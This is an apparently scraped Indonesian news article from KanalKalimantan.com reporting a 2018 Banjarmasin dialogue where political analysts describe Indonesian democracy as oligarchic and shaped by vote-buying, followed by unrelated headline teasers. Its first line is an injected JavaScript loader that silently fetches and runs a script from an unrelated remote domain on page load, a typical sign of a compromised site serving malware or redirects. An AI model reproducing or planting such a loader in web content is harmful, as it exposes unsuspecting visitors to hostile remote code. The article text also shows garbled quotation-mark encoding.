(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Demokrasi di Indonesia saat ini masih merupakan demokrasi oligarki. Demokrasi yang diwarnai dengan kekuasaan uang. Sehingga jika masyarakat mengharapkan demokrasi yang lebih substantif, itu masih perlu waktu panjang dan melibatkan semua unsur dan kepentingan.
Hal ini disampikan pengamat politik dari Uniska Dr HM Uhaib As’ad M.si dalam Dialog Publik bertema “Arah Demokrasi di Kalsel Menjelang Pemilu 2019†yang digelar Jaringan Demokrasi Indonesia (JaDI), di Hotel Nasa, Banjarmasin, Selasa (20/11).
Dialog ini mengundang narasumer laianya seperti Dr H M Effendi SH, MH, mantan anggota KPU Kalsel dan mantan dekan FM ULM Banjarmasin dan H Hairansyah SH, MH, yang merupakan anggota Komnas HAM RI dan mantan anggota KPU Kalsel.
Uhaib mengatakan, substantif yang dimaksud adalah bahwa demokrasi saat ini belum diwaranai dengan rasionalitas politik. “Masyarakat dihadapkan secara pragmatis untuk mendapatkan uang dari parktek money politic atau dengan jual beli suara,†jelasnya.
Ia berharap, ke depannya partai politik dan semua institusi kelembagaan negara, termasuk perguruan tinggi, LSM, media massa harus ikut berpartisipasi menyuarakan tentang pentingnya demokrasi yang substantif. “Tidak bisa kita beraharap sepenuhnya pada keberadaan partai politik. Oleh karena itu semuanya harus ikut berpatisipasi.â€ÂÂ
Uhaib mengatakan, arah demokrasi di Kalsel sendiri masih belum ada soal-soal yang signifikan yang perlu dikhawatirkan. Soal beda pendapat, itu hal yang biasa dalam demokrasi. Yang paling penting adalah agar semua saling memahami pandangan masing-masing dan pilihan masyarakat.
“Biarlah masyarakat memilih mana yang sesuai dengan ideologi politik mereka tanpa harus diwarnai dengan praktik yang menyimpang oleh partai politik,†ungkapnya. (mario)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.